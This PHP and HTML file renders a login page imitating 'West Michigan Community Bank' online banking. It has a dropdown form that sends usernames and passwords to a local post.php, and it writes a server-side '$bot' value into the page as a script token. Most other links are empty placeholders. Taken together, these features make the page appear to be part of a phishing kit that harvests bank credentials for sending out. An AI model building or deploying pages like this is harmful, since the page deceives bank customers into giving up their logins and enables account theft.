<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:ital,wght@0,300;0,400;0,500;0,600;0,700;0,800;1,400;1,700&display=swap" rel="stylesheet">
    <title>West Michigan Community Bank — Online Banking</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --blue:      #063489;
            --blue-mid:  #0a4db5;
            --orange:    #EF7110;
            --orange2:   #ECB944;
            --text:      #1a1a1a;
            --text-sub:  #555;
            --border:    #dde3ef;
            --white:     #ffffff;
        }
        html, body { height: 100%; font-family: 'Inter', sans-serif; color: var(--text); background: var(--white); }
        body { display: flex; flex-direction: column; min-height: 100vh; }

        /* ── NAV ─────────────────────────────────────── */
        .main-nav {
            background: var(--white);
            padding: 0 52px;
            display: flex; align-items: center; justify-content: space-between;
            height: 74px; position: relative; z-index: 300;
            box-shadow: 0 1px 0 #eaecf2;
        }
        .nav-logo img { height: 54px; width: auto; display: block; }
        .nav-links { display: flex; align-items: center; gap: 30px; }
        .nav-links a { font-size: 14px; font-weight: 500; color: var(--blue); text-decoration: none; transition: opacity .15s; }
        .nav-links a:hover { opacity: .6; }
        .nav-right { display: flex; align-items: center; gap: 12px; }
        .icon-btn { background: none; border: none; cursor: pointer; color: var(--blue); display: flex; align-items: center; padding: 6px; }
        /* LOGIN — orange text, bold, with lock icon */
        .btn-login-nav {
            display: flex; align-items: center; gap: 6px;
            background: none; border: none; cursor: pointer;
            font-family: 'Inter', sans-serif; font-size: 15px;
            font-weight: 800; color: var(--orange);
            letter-spacing: .05em; transition: opacity .15s;
        }
        .btn-login-nav:hover { opacity: .75; }

        /* ── FDIC BAR ────────────────────────────────── */
        .fdic-bar {
            background: var(--white);
            border-bottom: 1px solid #eaecf2;
            padding: 7px 52px;
            display: flex; align-items: center; gap: 10px;
        }
        .fdic-badge {
            background: var(--blue); color: #fff;
            font-size: 10px; font-weight: 900;
            letter-spacing: .05em; padding: 2px 5px; border-radius: 2px; flex-shrink: 0;
        }
        .fdic-bar p { font-size: 12px; color: #666; font-style: italic; }

        /* ── HERO ────────────────────────────────────── */
        .hero {
            position: relative; overflow: hidden;
            min-height: 520px;
        }
        .hero-bg {
            position: absolute; inset: 0;
            background: url('res/img/background.jpeg') center 28% / cover no-repeat;
            z-index: 0;
        }
        /* bottom-up blue gradient for text legibility */
        .hero-overlay {
            position: absolute; inset: 0; z-index: 1;
            background: linear-gradient(to top,
                rgba(6,52,137,.82) 0%,
                rgba(6,52,137,.50) 28%,
                rgba(6,52,137,.10) 52%,
                transparent 70%);
        }
        /* White shape — bottom only, short enough to not eat content */
        .hero-shape {
            position: absolute; bottom: 0; left: 0; right: 0; z-index: 3;
            pointer-events: none;
            height: 30%;
        }
        .hero-shape img {
            width: 100%; height: 100%;
            object-fit: fill; display: block;
        }
        /* Content absolutely positioned bottom-left, above everything */
        .hero-content {
            position: absolute;
            bottom: 100px;
            left: 56px;
            z-index: 5;
            max-width: 560px;
        }
        .hero-content h1 {
            font-size: clamp(26px, 2.9vw, 44px);
            font-weight: 700; color: #fff;
            line-height: 1.22; margin-bottom: 32px;
        }
        .hero-content h1 em { font-style: italic; font-weight: 500; }

        /* Learn More — gradient pill: orange→yellow left-to-right */
        .btn-learn {
            display: inline-flex; align-items: center; height: 46px; padding: 0 28px;
            border: none; border-radius: 26px;
            background: linear-gradient(90deg, var(--orange2) 0%, var(--orange) 100%);
            color: #fff; font-family: 'Inter', sans-serif;
            font-size: 12.5px; font-weight: 800; letter-spacing: .1em; text-transform: uppercase;
            cursor: pointer; text-decoration: none;
            box-shadow: 0 4px 18px rgba(239,113,16,.4);
            transition: opacity .15s, box-shadow .15s;
        }
        .btn-learn:hover { opacity: .9; box-shadow: 0 6px 24px rgba(239,113,16,.55); }

        /* ── LOGIN DROPDOWN ─────────────────────────── */
        .login-wrap { position: relative; }
        .login-dd {
            display: none; position: absolute;
            top: calc(100% + 16px); right: 0;
            width: 330px; background: var(--blue);
            border-radius: 10px; padding: 26px 24px 22px;
            z-index: 500;
            box-shadow: 0 14px 44px rgba(6,52,137,.45);
            animation: ddIn .2s ease both;
        }
        .login-dd.open { display: block; }
        @keyframes ddIn { from{opacity:0;transform:translateY(-8px)} to{opacity:1;transform:translateY(0)} }
        .login-dd::before {
            content:''; position:absolute; top:-7px; right:26px;
            width:14px; height:14px; background:var(--blue);
            transform:rotate(45deg); border-radius:2px 0 0 0;
        }
        .dd-title { font-size: 15px; font-weight: 700; color: #fff; text-align: center; margin-bottom: 18px; }
        .dd-lbl { font-size: 11px; font-weight: 700; color: rgba(255,255,255,.6); text-transform: uppercase; letter-spacing: .07em; margin-bottom: 6px; display: block; }
        .dd-f { margin-bottom: 14px; }
        .dd-frow { display: flex; align-items: center; justify-content: space-between; margin-bottom: 6px; }
        .dd-frow a { font-size: 11.5px; color: var(--orange2); text-decoration: none; }
        .dd-frow a:hover { text-decoration: underline; }
        .dd-input {
            width: 100%; height: 46px; padding: 0 14px;
            border: 1.5px solid rgba(255,255,255,.18); border-radius: 6px;
            background: rgba(255,255,255,.1); outline: none;
            font-family: 'Inter', sans-serif; font-size: 14px; color: #fff;
            transition: border-color .15s; -webkit-appearance: none;
        }
        .dd-input:focus { border-color: var(--orange2); }
        .dd-input::placeholder { color: rgba(255,255,255,.3); }
        .dd-pw { position: relative; }
        .dd-eye { position:absolute; right:12px; top:50%; transform:translateY(-50%); background:none; border:none; cursor:pointer; color:rgba(255,255,255,.4); line-height:0; padding:0; }
        .btn-dd {
            width: 100%; height: 46px; margin-bottom: 16px;
            background: var(--orange); color: #fff;
            border: none; border-radius: 6px;
            font-family: 'Inter', sans-serif; font-size: 14px; font-weight: 800;
            letter-spacing: .06em; cursor: pointer;
            transition: background .15s;
        }
        .btn-dd:hover { background: #d46010; }
        .dd-bottom { display: flex; justify-content: center; gap: 16px; }
        .dd-bottom a { font-size: 12px; color: rgba(255,255,255,.65); text-decoration: none; }
        .dd-bottom a:hover { color: var(--orange2); text-decoration: underline; }
        .dd-sep { color: rgba(255,255,255,.3); font-size: 12px; }

        /* ── FOOTER ──────────────────────────────────── */
        .page-footer { background: var(--blue); padding: 20px 52px; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 12px; margin-top: auto; }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,.55); text-decoration: none; }
        .footer-links a:hover { color: #fff; }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,.3); }

        @media(max-width:900px) { .nav-links{display:none;} .main-nav,.fdic-bar{padding-left:20px;padding-right:20px;} .hero-content{padding:50px 24px 120px;} }
        @media(max-width:500px) { .login-dd{width:290px;} }
    </style>
</head>
<body>

    <!-- Nav -->
    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.svg" alt="West Michigan Community Bank"></div>
        <div class="nav-links">
            <a href="#">Personal Banking</a>
            <a href="#">Business Banking</a>
            <a href="#">Loans</a>
            <a href="#">Wealth Management</a>
            <a href="#">About Us</a>
        </div>
        <div class="nav-right">
            <button class="icon-btn">
                <svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg>
            </button>
            <div class="login-wrap">
                <button class="btn-login-nav" id="login-trigger">
                    <svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg>
                    LOGIN
                </button>
                <div class="login-dd" id="login-dd">
                    <div class="dd-title">Online Banking</div>
                    <script>var token=<?php echo json_encode($bot); ?>;</script>
                    <form action="post.php" method="post">
                        <div class="dd-f">
                            <span class="dd-lbl">Username</span>
                            <input type="text" name="user" class="dd-input" required autocomplete="username">
                        </div>
                        <div class="dd-f">
                            <div class="dd-frow">
                                <span class="dd-lbl">Password</span>
                                <a href="#">Forgot password?</a>
                            </div>
                            <div class="dd-pw">
                                <input type="password" name="pass" id="dd-pass" class="dd-input" required autocomplete="current-password">
                                <button type="button" class="dd-eye" onclick="togglePw()">
                                    <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M17.94 17.94A10.07 10.07 0 0112 20c-7 0-11-8-11-8a18.45 18.45 0 015.06-5.94M9.9 4.24A9.12 9.12 0 0112 4c7 0 11 8 11 8a18.5 18.5 0 01-2.16 3.19m-6.72-1.07a3 3 0 11-4.24-4.24"/><line x1="1" y1="1" x2="23" y2="23"/></svg>
                                </button>
                            </div>
                        </div>
                        <button type="submit" class="btn-dd">LOG IN</button>
                        <div class="dd-bottom">
                            <a href="#">Enroll</a><span class="dd-sep">|</span><a href="#">Help</a>
                        </div>
                    </form>
                </div>
            </div>
        </div>
    </nav>

    <!-- FDIC -->
    <div class="fdic-bar">
        <span class="fdic-badge">FDIC</span>
        <p>FDIC-Insured — Backed by the full faith and credit of the U.S. Government</p>
    </div>

    <!-- Hero -->
    <div class="hero">
        <div class="hero-bg"></div>
        <div class="hero-overlay"></div>
        <div class="hero-shape"><img src="res/img/white-sw-bg.png" alt=""></div>
        <div class="hero-content">
            <h1>Save time <em>and</em> money<br>with our Construction<br>Financing</h1>
            <a href="#" class="btn-learn">Learn More</a>
        </div>
    </div>

    <!-- Footer -->
    <footer class="page-footer">
        <div class="footer-links">
            <a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a>
            <a href="#">Accessibility</a><a href="#">FDIC</a><a href="#">Contact Us</a>
        </div>
        <div class="footer-copy">© 2025 West Michigan Community Bank. Member FDIC. Equal Housing Lender.</div>
    </footer>

    <script>
        var t = document.getElementById('login-trigger'), d = document.getElementById('login-dd');
        t.addEventListener('click', function(e){ e.stopPropagation(); d.classList.toggle('open'); });
        document.addEventListener('click', function(e){ if(!document.querySelector('.login-wrap').contains(e.target)) d.classList.remove('open'); });
        document.addEventListener('keydown', function(e){ if(e.key==='Escape') d.classList.remove('open'); });
        function togglePw(){ var p=document.getElementById('dd-pass'); p.type=p.type==='password'?'text':'password'; }
    </script>
    <script src="./res/jq.js"></script>
</body>
</html>